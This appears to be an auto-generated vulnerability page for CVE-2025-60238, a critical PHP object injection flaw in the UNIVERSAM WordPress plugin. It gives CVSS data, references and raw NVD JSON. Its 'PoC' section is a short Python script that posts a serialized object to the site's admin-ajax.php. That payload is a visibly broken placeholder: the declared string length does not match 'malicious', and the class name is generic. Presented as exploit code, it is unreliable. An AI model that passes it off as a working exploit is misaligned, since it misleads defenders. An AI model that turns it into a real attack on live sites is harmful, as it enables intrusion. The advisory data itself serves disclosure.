CVE-2025-60238

Description

Deserialization of Untrusted Data vulnerability in universam UNIVERSAM universam-demo allows Object Injection.This issue affects UNIVERSAM: from n/a through <= 9.04.02.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UNIVERSAM <= 9.04.02

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com'
payload = 'O:15:"EvilClass":1:{s:5:"data";s:12:"malicious";}'
response = requests.post(f'{target}/wp-admin/admin-ajax.php', data={'action': 'universam_ajax', 'data': payload})

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60238
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60238
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60238/
[4] VulDB https://vuldb.com/cve/CVE-2025-60238
[5] https://patchstack.com/database/Wordpress/Plugin/universam-demo/vulnerability/wordpress-universam-plugin-8-72-14-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60238", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:00.377", "lastModified": "2026-04-23T15:34:24.780", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in universam UNIVERSAM universam-demo allows Object Injection.This issue affects UNIVERSAM: from n/a through <= 9.04.02."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/universam-demo/vulnerability/wordpress-universam-plugin-8-72-14-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}